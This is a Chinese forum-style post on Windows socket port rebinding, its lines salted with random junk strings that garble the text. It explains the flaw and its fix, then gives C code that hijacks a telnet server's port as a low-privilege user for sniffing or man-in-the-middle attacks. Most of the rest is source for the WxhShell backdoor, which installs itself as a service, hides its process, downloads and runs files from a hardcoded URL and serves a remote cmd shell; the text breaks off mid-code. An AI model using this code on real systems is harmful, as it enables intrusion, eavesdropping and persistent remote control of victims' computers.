在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
M7YbRl s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
?ea5k*#a &
sXMB saddr.sin_family = AF_INET;
sXY{g0% o?aF saddr.sin_addr.s_addr = htonl(INADDR_ANY);
g``S SU c4bv Jy8 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
7Oi<_b .g.glQ_~= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Dj3,SJ*x Rk{vz| 这意味着什么?意味着可以进行如下的攻击:
>xXq:4l>} j|b$b,rF\ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
\)2'+R Ix0#eoj 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Eks<O =!/T4Oo 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
$MM[`^~ \@zoM:[sN 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
\[/}Cy ^}<]sjmk 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
C\0,D9 >}d6)s| 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
9QeBz`lm) $-\%%n0>6 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
OfeM;) INR RA #include
},O7NSG<o #include
Qh]k)]+*| #include
]|[mwC4 #include
\\Z?v,XsS DWORD WINAPI ClientThread(LPVOID lpParam);
}$* z:E int main()
46H@z=5 {
[lzH%0
V WORD wVersionRequested;
}T53y6J# DWORD ret;
<d{>[R) WSADATA wsaData;
8sq0 BH BOOL val;
8SCXA9} SOCKADDR_IN saddr;
T`c:16I SOCKADDR_IN scaddr;
8 v da" int err;
y-Lm^GW4 SOCKET s;
J?jxD/9Yb SOCKET sc;
_J,*0~O$ int caddsize;
Jt)J1CAYo HANDLE mt;
-:Q"aeC5 DWORD tid;
Wq<HsJd/ wVersionRequested = MAKEWORD( 2, 2 );
y"H(F,(N err = WSAStartup( wVersionRequested, &wsaData );
%-|$7?~ if ( err != 0 ) {
G+m[W printf("error!WSAStartup failed!\n");
VY@`) return -1;
%d
/]8uO }
.4y44: T saddr.sin_family = AF_INET;
{9~3y2: Ctk1\quz //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
4UN|`'c M1*x47bN saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
P|a|4Bb+fW saddr.sin_port = htons(23);
gGs"i]c if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
V]Uc@7S/ {
9rM#w"E?< printf("error!socket failed!\n");
_#
&_`bZH return -1;
%xC}#RDf }
\^lDd~MWG val = TRUE;
8boiJku` //SO_REUSEADDR选项就是可以实现端口重绑定的
rgEN~e' if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
-JclEp {
uY3?(f# printf("error!setsockopt failed!\n");
sjHcq5#U! return -1;
Q0L1!}w
}
UAC"jy1D //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
I1p{(fJ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
/KlSI<T@ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
)1<GSr9 oF s)UR if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
D$`$4mX@hP {
_znpzr9H ret=GetLastError();
M0]J`fL@ printf("error!bind failed!\n");
XFi9qL^ return -1;
6g)CpZU }
O`;o"\P< listen(s,2);
Z[kVVE9b? while(1)
Krr51`hZH {
.pblI caddsize = sizeof(scaddr);
l?HC-_Pbh //接受连接请求
u!McPM8Yk sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
c2PBYFCyC if(sc!=INVALID_SOCKET)
r6nWrO>y {
}'uV{$ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
];u nR<H if(mt==NULL)
m-Se-aF {
bc2S?u{ printf("Thread Creat Failed!\n");
6dRvx;d break;
OZe`>Q6 }
1.nYT* }
R!>SN0 CloseHandle(mt);
!{A#\~, }
Jn20^YG closesocket(s);
:6Gf@Z&+ WSACleanup();
iq5-eJmq return 0;
p)~EG=p }
c3O&sa
V! DWORD WINAPI ClientThread(LPVOID lpParam)
WKq{g+a {
YIHGXi<"n SOCKET ss = (SOCKET)lpParam;
bq{eu#rQJ SOCKET sc;
I0_>ryA unsigned char buf[4096];
Qn@[{%),4 SOCKADDR_IN saddr;
_ujhD long num;
(,RL\1zJ DWORD val;
Yb'%J@T} DWORD ret;
'.I0n //如果是隐藏端口应用的话,可以在此处加一些判断
"[CR5q9Pr //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Q776cj^L saddr.sin_family = AF_INET;
YOY2K%o saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
@680.+Kw saddr.sin_port = htons(23);
= @lM* if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Uf|@h {
SYgkYR printf("error!socket failed!\n");
I8\R7s3 return -1;
ZD4:'m`T/ }
Z5"5Ge-M val = 100;
,fhK if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3.Jk-:u %m {
nMBF/75 ret = GetLastError();
AzSmfEaU0 return -1;
tjcsT> }
w%%*3[--X if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
J #;|P-pt {
es\Fn#?O ret = GetLastError();
@$;I% return -1;
.F0Q<s9 }
h<g2aL21?F if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
VD+v\X_ {
n_6#Df* printf("error!socket connect failed!\n");
7_L$ XIa closesocket(sc);
_I0=a@3 closesocket(ss);
+rka5ts return -1;
HzAw
rC }
S|m|ulB while(1)
sLc,Dx"+ {
N <M6~ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
v
`;Hd8 //如果是嗅探内容的话,可以再此处进行内容分析和记录
yxi* 4R //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
{ ^R>H|~ num = recv(ss,buf,4096,0);
h~ehZJys if(num>0)
,be$~7qS send(sc,buf,num,0);
</2Cn@ else if(num==0)
/LLo7" break;
q( %)^C num = recv(sc,buf,4096,0);
$,nidK!" if(num>0)
Ru$%gh>v send(ss,buf,num,0);
zw0u|q;# else if(num==0)
Y,-!QFS# break;
yB4eUa!1 }
{3``B#} closesocket(ss);
MKX58y{+ closesocket(sc);
4G j return 0 ;
`X(H,Q}*; }
)c<[@::i /Nhc|x6zQ * b"aJ<+ ==========================================================
NOl/y@# E=ObfN"ge 下边附上一个代码,,WXhSHELL
$|I hO nHQWO
==========================================================
!#PA#Q|cO p & i+i #include "stdafx.h"
!^Q4ZL,- ;Ao`yC2(v #include <stdio.h>
l=<},_]{ #include <string.h>
u&e?3qKX( #include <windows.h>
4
i`FSO #include <winsock2.h>
}wC=p>zA #include <winsvc.h>
^$y`Q@-9 #include <urlmon.h>
USKC,&6&} O]t)`+%q #pragma comment (lib, "Ws2_32.lib")
hcR^? #pragma comment (lib, "urlmon.lib")
5m?9O7Pg Q5*"t*L!N #define MAX_USER 100 // 最大客户端连接数
">q?(i\ #define BUF_SOCK 200 // sock buffer
P&*e\"{ #define KEY_BUFF 255 // 输入 buffer
88l{M[B2 p\tA&>3- #define REBOOT 0 // 重启
.+5;AtN #define SHUTDOWN 1 // 关机
&
z5:v-G? dA0o{[o= #define DEF_PORT 5000 // 监听端口
pbGv\SF tQ)l4Y 8 #define REG_LEN 16 // 注册表键长度
;7(vqm<V2~ #define SVC_LEN 80 // NT服务名长度
wNMA)S vg5fMH9ZZ // 从dll定义API
r>t|.=! typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
07>D G# typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
m[hHaX typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
|A2o$H typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
.+~9
vH ~oRT@E // wxhshell配置信息
H5be 5 struct WSCFG {
C-/+n5J int ws_port; // 监听端口
A%~t[ H char ws_passstr[REG_LEN]; // 口令
"P$')uwE int ws_autoins; // 安装标记, 1=yes 0=no
va!fJ char ws_regname[REG_LEN]; // 注册表键名
fH%C&xj'& char ws_svcname[REG_LEN]; // 服务名
gj82qy\: char ws_svcdisp[SVC_LEN]; // 服务显示名
0RN 7hpf&` char ws_svcdesc[SVC_LEN]; // 服务描述信息
J5}?<Dd: char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Z*.rv t int ws_downexe; // 下载执行标记, 1=yes 0=no
a@#<qf8g char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
+#6f)H(P] char ws_filenam[SVC_LEN]; // 下载后保存的文件名
R xc Zk5AZ R!| };
6dYa07 QfL8@W~e // default Wxhshell configuration
@QDpw1;V' struct WSCFG wscfg={DEF_PORT,
uC2qP)m,^ "xuhuanlingzhe",
'~xiD?: 1,
Sy^@v%P'A "Wxhshell",
kE1k@h#/ "Wxhshell",
a,e;(/#\7 "WxhShell Service",
U :8cz=# "Wrsky Windows CmdShell Service",
uIR "Please Input Your Password: ",
u\)q.` 1,
;.7]zn.X]2 "
http://www.wrsky.com/wxhshell.exe",
NFI~vkk'G "Wxhshell.exe"
sAjN<P };
a)!R4 *]ME]2qP // 消息定义模块
!ozHS_ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
9 $zx<O char *msg_ws_prompt="\n\r? for help\n\r#>";
vyT-!mC char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
UFeQ%oRa8 char *msg_ws_ext="\n\rExit.";
}U**)" char *msg_ws_end="\n\rQuit.";
^j<2s"S char *msg_ws_boot="\n\rReboot...";
}p*WH$!~ char *msg_ws_poff="\n\rShutdown...";
)b,FE}YX char *msg_ws_down="\n\rSave to ";
hO(A_Bw 8*eVP*g char *msg_ws_err="\n\rErr!";
+>:[irf char *msg_ws_ok="\n\rOK!";
1JZhcfG zvT8r(<n} char ExeFile[MAX_PATH];
_;:B@Z int nUser = 0;
^vTp.7o~5 HANDLE handles[MAX_USER];
;kD
Rm'( int OsIsNt;
0I*{CVTQj ;>Z0e`= SERVICE_STATUS serviceStatus;
vH6.;j'^ SERVICE_STATUS_HANDLE hServiceStatusHandle;
TU9$5l/;g th+LScOX // 函数声明
~2QD.( int Install(void);
Z;6?,5OSc int Uninstall(void);
`(~oZbErM int DownloadFile(char *sURL, SOCKET wsh);
8>DX
:` int Boot(int flag);
b>nwX9Y/U void HideProc(void);
T|uG1 int GetOsVer(void);
][>-r&V int Wxhshell(SOCKET wsl);
L"(
{6H void TalkWithClient(void *cs);
K pmq C$ int CmdShell(SOCKET sock);
s2 $w>L int StartFromService(void);
2=X.$&a int StartWxhshell(LPSTR lpCmdLine);
]MB6++.e J n'SGR VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
/Y| <0tq VOID WINAPI NTServiceHandler( DWORD fdwControl );
(1%A@4 H~W=#Cx // 数据结构和表定义
PsN_c[+ SERVICE_TABLE_ENTRY DispatchTable[] =
nsu RG {
3u9}z+q {wscfg.ws_svcname, NTServiceMain},
l)Mi?B~N {NULL, NULL}
P@U2Q%\ };
l$C
Y
gm _:!7M^IU // 自我安装
;;Jx1Q int Install(void)
FMC]KXSd {
{G{>Qa| char svExeFile[MAX_PATH];
]m#*4 HKEY key;
v+'*.Iv: strcpy(svExeFile,ExeFile);
ubl)$jZ:Q _Pn
1n // 如果是win9x系统,修改注册表设为自启动
^NO4T if(!OsIsNt) {
2W;2._ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
P5v;o9B& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
LVJn2t^ RegCloseKey(key);
VhU,("&pm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&,$N|$yK}| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ra^"Vr RegCloseKey(key);
[!`5kI return 0;
)-\qo#0l }
3lN@1jlh }
l_P90zm39! }
U"L-1]L else {
}`]Et99Q5 lDZ~ // 如果是NT以上系统,安装为系统服务
[NbW"Y7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
BVS
SO's if (schSCManager!=0)
euET)Ccq {
b
T** y?2 SC_HANDLE schService = CreateService
1?,C d (
p,7?rI\N schSCManager,
Xl
E0oN~{ wscfg.ws_svcname,
-a7BVEFts wscfg.ws_svcdisp,
FDuIm,NI SERVICE_ALL_ACCESS,
G'{&*]Z\: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
[ic%ZoZ_ SERVICE_AUTO_START,
5JS*6|IbD{ SERVICE_ERROR_NORMAL,
4j<[3~:0
o svExeFile,
1eI_F8I U NULL,
@su!9 ]o NULL,
,vuC0{C^ NULL,
j k&\{ NULL,
e /L([ NULL
HP:[aR!2P );
x::d}PP7 if (schService!=0)
,?wxW {
7nZ3u_~ CloseServiceHandle(schService);
Nwk^r75l q CloseServiceHandle(schSCManager);
_Zxo<}w}y strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
>".@; strcat(svExeFile,wscfg.ws_svcname);
.>Fpk7 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
877Kv); RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
'Qg.D88 RegCloseKey(key);
&5QvUn return 0;
dEam| }
%I@vM s^ }
d"thM CloseServiceHandle(schSCManager);
nY,LQ0r }
m,ur{B8 : }
o 80x@ &A: AsI.8" return 1;
JI/iq }
uYijzHQyD 3!i{4/ // 自我卸载
3=%G{L16- int Uninstall(void)
'30JJ0 {
uFFC.w HKEY key;
)#sN#ZR$ j3j^cO[ 8v if(!OsIsNt) {
m",G;VN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
N[N4!k )!$ RegDeleteValue(key,wscfg.ws_regname);
.p(r|5(b RegCloseKey(key);
WZ UeW*#= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
oslj< RegDeleteValue(key,wscfg.ws_regname);
QRwO v RegCloseKey(key);
im
F,8 ' return 0;
UI*&@!%bzp }
{a(<E8-^ }
..=lM:13| }
'h[7AZ&)# else {
co'qVsOiH :N' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
=`l>< if (schSCManager!=0)
"+hUt {
fyxc4-D SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
7H4kj7UK if (schService!=0)
\jAI~|3 {
D!i|KI/ if(DeleteService(schService)!=0) {
,q$2D,dz CloseServiceHandle(schService);
+^*b]"[ CloseServiceHandle(schSCManager);
/f hS#+V* return 0;
5[~C!t; }
ed#>q;jX CloseServiceHandle(schService);
?<^^.Si }
7mL1$i6= CloseServiceHandle(schSCManager);
aj-:JTf }
.GWN~iR( }
Hio+k^ M{p9b E[j return 1;
S(lqj6aa} }
pqe%tRH{ FA;B:O@:' // 从指定url下载文件
JvS
~.g1 int DownloadFile(char *sURL, SOCKET wsh)
KVoM\ttP {
AOx8OiqE: HRESULT hr;
TJuS)AZ
C char seps[]= "/";
/mwDVP<z / char *token;
S5~(3I
)v char *file;
GqgJ ]m char myURL[MAX_PATH];
e'|c59E char myFILE[MAX_PATH];
2hTsjJ!' EW/N H&{ strcpy(myURL,sURL);
^[v>B@p*{ token=strtok(myURL,seps);
muO;g& while(token!=NULL)
^ tVIPH.R {
+y][s{A file=token;
Se(apQH token=strtok(NULL,seps);
&+GbklUB~ }
!ED,'d%J ;XXEvRk GetCurrentDirectory(MAX_PATH,myFILE);
Vc+~yh.) strcat(myFILE, "\\");
;}k_ strcat(myFILE, file);
T;i+az{N:V send(wsh,myFILE,strlen(myFILE),0);
?XVox*6K& send(wsh,"...",3,0);
3w! NTvp hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
zoj
w^%W if(hr==S_OK)
2t7=GA+j return 0;
[ *
!0DW` else
<<H'Z return 1;
H-8_&E?6m Htep3Ol3 }
1h`# H: 5e2yJ R // 系统电源模块
)7Oj int Boot(int flag)
Z*'_/Grv? {
z0T6a15f!P HANDLE hToken;
9W j9= TOKEN_PRIVILEGES tkp;
%t$)sg] #:Ukv? if(OsIsNt) {
(>dL OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
q'jInwY|x LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
KC54=Rf tkp.PrivilegeCount = 1;
3)XS^WG tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ca%XA|_J AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
EDg; s-T= if(flag==REBOOT) {
>,f5 5 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Ex{;&UWm return 0;
Qk&6Z% }
&]c7<=`K" else {
s2K8|q= if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
7s;*vd> return 0;
l
Ng)k1 }
iF1zLI<A }
RMAbu*D0 else {
)(yKm/50 if(flag==REBOOT) {
]Yf8 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
mQ\oR| return 0;
TaZlfe5z }
^{-Z3Yxd else {
&p=(0$0&- if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
+lJD7=%K]Z return 0;
+^a@U^V }
MU1T="N^+ }
ShOB"J- %i&\X[ return 1;
P}-S[[b73s }
ST\d-x T"E%;'(cp) // win9x进程隐藏模块
-i4hJC!3 void HideProc(void)
pFEU^]V3* {
C0L(ti; +b{tk=Q: HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
&9xcP.3 if ( hKernel != NULL )
[8[`V)b {
fjS# pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
kFi=^#J{ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
a1ai?}, FreeLibrary(hKernel);
['I5(M@ }
G)%r|meKGB "=0JYh)%_ return;
!XY}\zKq }
J#G\7'?{ x%RE3J- // 获取操作系统版本
jDW$}^
6 int GetOsVer(void)
j g_;pn {
(@xr/9:i OSVERSIONINFO winfo;
S#|5&SR winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
{|tMN,Z GetVersionEx(&winfo);
$HV`bJ5!L* if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
U?ZxQj66} return 1;
|LE*R@|3$ else
^2mCF return 0;
hle@= e/n }
%UCuI9 }k6gO0z // 客户端句柄模块
1VG7[#Zy int Wxhshell(SOCKET wsl)
do@BJWo {
@FuX^Q.[ SOCKET wsh;
_?9|, struct sockaddr_in client;
+4K'KpFzZ DWORD myID;
#:nds, !^w}Sp while(nUser<MAX_USER)
}vQY+O {
R<ZyP~ int nSize=sizeof(client);
HuajdC~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
yzJTNLff if(wsh==INVALID_SOCKET) return 1;
:UDe\zcd" *l'5z)] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
tVAH\*a,/ if(handles[nUser]==0)
wU5= ' closesocket(wsh);
QBTjiaYGa' else
K<"Y4O#] nUser++;
9icy&' }
:4S~}}N WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
5~xv"S(E} 4+au6ABy return 0;
aP +) }
Evq^c5n>{ Vxim$'x! // 关闭 socket
M"z3F!-j void CloseIt(SOCKET wsh)
q]z%<`.9* {
9'h4QF+Y closesocket(wsh);
U9yR~pw nUser--;
x5!lnN,# ExitThread(0);
~H`(z zk }
P!lTK
hgF4PdO1e // 客户端请求句柄
Rm=[Sj84 void TalkWithClient(void *cs)
)cxML<j'
{
BxGz4 c`!8!R SOCKET wsh=(SOCKET)cs;
[214b= char pwd[SVC_LEN];
wTu=v char cmd[KEY_BUFF];
i^6g1"h char chr[1];
<@H=XEn int i,j;
X:gE
mcXc AO^c=^ while (nUser < MAX_USER) {
nV?e(}D j*@EJ"Gm> if(wscfg.ws_passstr) {
/Wm3qlv if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
-'::$
{ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
)Xd2qbi //ZeroMemory(pwd,KEY_BUFF);
F5/,H:K\ i=0;
kI#yW! while(i<SVC_LEN) {
y
;T=u(} di#:KW // 设置超时
2W=am_\0e. fd_set FdRead;
atjrn:X struct timeval TimeOut;
)\0LxsZ FD_ZERO(&FdRead);
tU(vt0~b FD_SET(wsh,&FdRead);
EyPF'|Qtn TimeOut.tv_sec=8;
Z<6Fq*I TimeOut.tv_usec=0;
e(sV4Z~ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
;PG,0R`Z; if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
~0XV[$`L <LOas$
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
9/R<, pwd
=chr[0]; }TAHVcX*p
if(chr[0]==0xd || chr[0]==0xa) { naWW i]9
pwd=0; zrCQEQq
break; gAViwy9{
} zu|=1C#5h
i++; %^66(n)
} WG.J-2#3
{,b:f
// 如果是非法用户,关闭 socket "ku ?A ^f
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >Y[nU~ w
} 'Gds?o8
XKT2u!Lx
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L#NW<T
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X| X~|&j
vd!|k5t[d
while(1) { $4*k=+wS
z9[BQ(9t
ZeroMemory(cmd,KEY_BUFF); 4?9cyv4H
4+_r0
// 自动支持客户端 telnet标准
dzwto;
j=0; ~V<62"G
while(j<KEY_BUFF) { G9i?yd4n=B
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (3M7 RpsL@
cmd[j]=chr[0]; U `<?~Bz
if(chr[0]==0xa || chr[0]==0xd) { \%011I4
cmd[j]=0; S)[$F}
break; ^\zf8kPti
} Af _yb`W?
j++; q(cSHHv+
} W-ll2b
h2]gA_T`
// 下载文件
dJwE/s
if(strstr(cmd,"http://")) { ![#>{Q4i
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Rt10:9Kz$
if(DownloadFile(cmd,wsh)) 13e @
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X:Z*7P/
else 6t(I.>-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dY%>C75O
} >,. x'{
else { 2Sg,b8
wth*H$iF
switch(cmd[0]) { vD*9b.*
>X!A/;$
// 帮助 Swg%[r=p=
case '?': { D,Jyb0BW
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4Sxt<7[f
break; woCFkO;'O
} ^`XTs!.
// 安装 k+FiW3-
case 'i': { )w3HC($g
if(Install()) 5L8 )w5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zL,B?
else $"G=r(MW
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EZvf\s>LT
break; qkbxa?&X
} IrZ!.5%tV
// 卸载 P<WCW3!JZ
case 'r': { *n h.&Mv|
if(Uninstall()) zgh~P^Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K9(Su`zr
else ^sA"&Vdr^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R8<'m
break; f~NGIlgR
} YZH&KGY
// 显示 wxhshell 所在路径 D-IXO@x
case 'p': { 0cBk/x^s
char svExeFile[MAX_PATH]; wkwsBi
strcpy(svExeFile,"\n\r"); #^ cmh
strcat(svExeFile,ExeFile); &^4 E )F
send(wsh,svExeFile,strlen(svExeFile),0); +P?^Yx0d
break; u4UQMj|q
} rFPfTpS
// 重启 \h}a?T6
case 'b': { 2'6:fr=R
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )HN,A z"
if(Boot(REBOOT)) ] oh.w
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 56
raZC
else { TQ\\/e:
closesocket(wsh); <CnTiS#
ExitThread(0); lZa L=HS#L
} c/q -WEKL
break; m|5yET
} bez_|fY{T
// 关机 $J]b+Bp
case 'd': { X^;LiwQv
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oI6l `K$
if(Boot(SHUTDOWN)) iHB1/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); aA5rvP+
else { 09psqXU@I
closesocket(wsh); }L1-2
ExitThread(0); N$i|[>`j
}
`>mT/Rmb@
break; v3vQfcxR
} ^Q'^9M2)
// 获取shell mSu1/?PS
case 's': { *&VqAc%qD
CmdShell(wsh); iEJY[P1
closesocket(wsh); (3>Z NTm
ExitThread(0); OYsG#
break; v)a$;P%
} },G>+ s8h
// 退出 qd7 86~
case 'x': { C=z7Gk=
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X_0Ta_u?T
CloseIt(wsh); UmRI! WQl
break; k}yUD 0Y
} uS%Y$v
// 离开 C
{GSf`D!T
case 'q': { -`o22G3w
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8=#J:LeXj
closesocket(wsh); w9J^s<e
WSACleanup(); [e:mRMi
exit(1); [aK7v{Wu
break; Ew|VDD(.
} _m+64qG_8'
} ] hxE^/8 7
} (KF=v31_m
?u`TX_OsB
// 提示信息 E9L)dMZSpj
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +4,v.B@
}
b :,S
} >lRa},5(
_k,/t10
return; *Hnk,?kPq
} FYe(SV(9
!\0UEC
// shell模块句柄 $1h , <$5H
int CmdShell(SOCKET sock) -|l^- Qf!
{ -2dk8]KB]
STARTUPINFO si; <3;Sq~^
ZeroMemory(&si,sizeof(si)); ) DzbJ}
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,c%>M^d
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7n1@m_7O
PROCESS_INFORMATION ProcessInfo; )K4A-9pC
char cmdline[]="cmd"; j(`L)/|O
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )4hb% U
return 0; )@
/!B`
} i5>]$j1/
F|3 =Cl
// 自身启动模式 O+Zt*jN;
int StartFromService(void) 39w|2%(O.
{ ]0VjVU-
typedef struct _IA@X. )?
{ XL/?v"
/
DWORD ExitStatus; ` R;6]/I?
DWORD PebBaseAddress; /GK1}h
DWORD AffinityMask; yJ(p-3O5
DWORD BasePriority; MmjeFv
ULONG UniqueProcessId; RE72%w(oM
ULONG InheritedFromUniqueProcessId; 26c,hPIeXY
